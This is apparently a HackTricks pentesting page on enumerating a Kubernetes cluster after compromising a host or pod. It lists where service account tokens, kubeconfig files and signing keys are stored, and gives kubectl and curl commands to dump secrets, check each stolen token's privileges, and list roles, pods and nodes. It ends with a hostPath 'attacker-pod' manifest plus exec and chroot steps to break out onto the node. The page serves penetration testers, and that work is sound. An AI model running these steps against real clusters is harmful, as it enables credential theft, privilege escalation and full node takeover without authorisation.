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If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the env var KUBECONFIG
or inside ~/.kube
.
In this folder you might find config files with tokens and configurations to connect to the API server. In this folder you can also find a cache folder with information previously retrieved.
If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:
Before continuing, if you don't know what is a service in Kubernetes I would suggest you to follow this link and read at least the information about Kubernetes architecture.
Taken from the Kubernetes documentation:
“When you create a pod, if you do not specify a service account, it is automatically assigned the default service account in the same namespace.”
ServiceAccount is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
Usually one of the directories:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount
contain the files:
- ca.crt: It's the ca certificate to check kubernetes communications
- namespace: It indicates the current namespace
- token: It contains the service token of the current pod.
Now that you have the token, you can find the API server inside the environment variable KUBECONFIG
. For more info run (env | set) | grep -i "kuber|kube
"
The service account token is being signed by the key residing in the file sa.key and validated by sa.pub.
Default location on Kubernetes:
- /etc/kubernetes/pki
Default location on Minikube:
- /var/lib/localkube/certs
Hot pods are pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
If you don't know what is RBAC, read this section.
In order to enumerate a K8s environment you need a couple of this:
- A valid authentication token. In the previous section we saw where to search for a user token and for a service account token.
- The address (https://host:port) of the Kubernetes API. This can be usually found in the environment variables and/or in the kube config file.
- Optional: The ca.crt to verify the API server. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using
--insecure-skip-tls-verify
withkubectl
or-k
withcurl
you won't need this.
With those details you can enumerate kubernetes. If the API for some reason is accessible through the Internet, you can just download that info and enumerate the platform from your host.
However, usually the API server is inside an internal network, therefore you will need to create a tunnel through the compromised machine to access it from your machine, or you can upload the kubectl binary, or use curl/wget/anything
to perform raw HTTP requests to the API server.
With get
permissions you can access information of specific assets (describe
option in kubectl
) API:
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
If you have the list
permission, you are allowed to execute API requests to list a type of asset (get
option in kubectl
):
#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
If you have the watch
permission, you are allowed to execute API requests to monitor assets:
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
GET /apis/apps/v1/watch/deployments [DEPRECATED]
They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created).
{% hint style="danger" %}
The following kubectl
commands indicates just how to list the objects. If you want to access the data you need to use describe
instead of get
{% endhint %}
From inside a pod you can use several env variables:
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
Having the token and the address of the API server you use kubectl or curl to access it as indicated here:
alias k='kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify=true'
You can find an official kubectl cheatsheet here. The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to.
To find the HTTP request that kubectl
sends you can use the parameter -v=8
{% tabs %} {% tab title="Kubectl" %}
kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context
# Change namespace
kubectl config set-context --current --namespace=<namespace>
{% endtab %} {% endtabs %}
If you managed to steal some users credentials you can configure them locally using something like:
kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )
With this info you will know all the services you can list
{% tabs %} {% tab title="kubectl" %}
k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace
{% endtab %} {% endtabs %}
{% tabs %} {% tab title="kubectl" %}
k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace
# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
{% endtab %}
{% tab title="API" %}
kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
{% endtab %} {% endtabs %}
You can learn more about Kubernetes RBAC in
{% content-ref url="../../pentesting/pentesting-kubernetes/kubernetes-role-based-access-control-rbac.md" %} kubernetes-role-based-access-control-rbac.md {% endcontent-ref %}
Once you know which privileges you have, check the following page to figure out if you can abuse them to escalate privileges:
{% content-ref url="abusing-roles-clusterroles-in-kubernetes/" %} abusing-roles-clusterroles-in-kubernetes {% endcontent-ref %}
{% tabs %} {% tab title="kubectl" %}
k get roles
k get clusterroles
{% endtab %}
{% tab title="API" %}
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
{% endtab %} {% endtabs %}
Kubernetes supports multiple virtual clusters backed by the same physical cluster. These virtual clusters are called namespaces.
{% tabs %} {% tab title="kubectl" %}
k get namespaces
{% endtab %}
{% tab title="API" %}
kurl -k -v https://$APISERVER/api/v1/namespaces/
{% endtab %} {% endtabs %}
{% tabs %} {% tab title="kubectl" %}
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
{% endtab %}
{% tab title="API" %}
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
curl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
{% endtab %} {% endtabs %}
If you can read secrets you can use the following lines to get the privileges related to each to token:
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
As discussed at the begging of this page when a pod is run a service account is usually assigned to it. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges.
{% tabs %} {% tab title="kubectl" %}
k get serviceaccounts
{% endtab %}
{% tab title="API" %}
curl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
{% endtab %} {% endtabs %}
The deployments specify the components that need to be run.
{% tabs %} {% tab title="kubectl" %}
.k get deployments
k get deployments -n custnamespace
{% endtab %}
{% tab title="API" %}
curl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
{% endtab %} {% endtabs %}
The Pods are the actual containers that will run.
{% tabs %} {% tab title="kubectl" %}
k get pods
k get pods -n custnamespace
{% endtab %}
{% tab title="API" %}
curl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
{% endtab %} {% endtabs %}
Kubernetes services are used to expose a service in a specific port and IP (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack.
{% tabs %} {% tab title="kubectl" %}
k get services
k get services -n custnamespace
{% endtab %}
{% tab title="API" %}
curl -v https://$APISERVER/api/v1/namespaces/default/services/
{% endtab %} {% endtabs %}
Get all the nodes configured inside the cluster.
{% tabs %} {% tab title="kubectl" %}
k get nodes
{% endtab %}
{% tab title="API" %}
curl -v https://$APISERVER/api/v1/nodes/
{% endtab %} {% endtabs %}
DaeamonSets allows to ensure that a specific pod is running in all the nodes of the cluster (or in the ones selected). If you delete the DaemonSet the pods managed by it will be also removed.
{% tabs %} {% tab title="kubectl" %}
k get daemonsets
{% endtab %}
{% tab title="API" %}
curl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
{% endtab %} {% endtabs %}
Cron jobs allows to schedule using crontab like syntax the launch of a pod that will perform some action.
{% tabs %} {% tab title="kubectl" %}
k get cronjobs
{% endtab %}
{% tab title="API" %}
curl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
{% endtab %} {% endtabs %}
{% tabs %} {% tab title="kubectl" %}
k get all
{% endtab %} {% endtabs %}
{% tabs %} {% tab title="kubectl" %}
k top pod --all-namespaces
{% endtab %} {% endtabs %}
If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
kubectl get pod <name> [-n <namespace>] -o yaml
Then you create your attack.yaml file
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
After that you create the pod
kubectl apply -f attacker.yaml [-n <namespace>]
Now you can switch to the created pod as follows
kubectl exec -it attacker-pod [-n <namespace>] -- bash # attacker-pod is the name defined in the yaml file
And finally you chroot into the node's system
chroot /root /bin/bash
Information obtained from: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1
{% embed url="https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3" %}
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.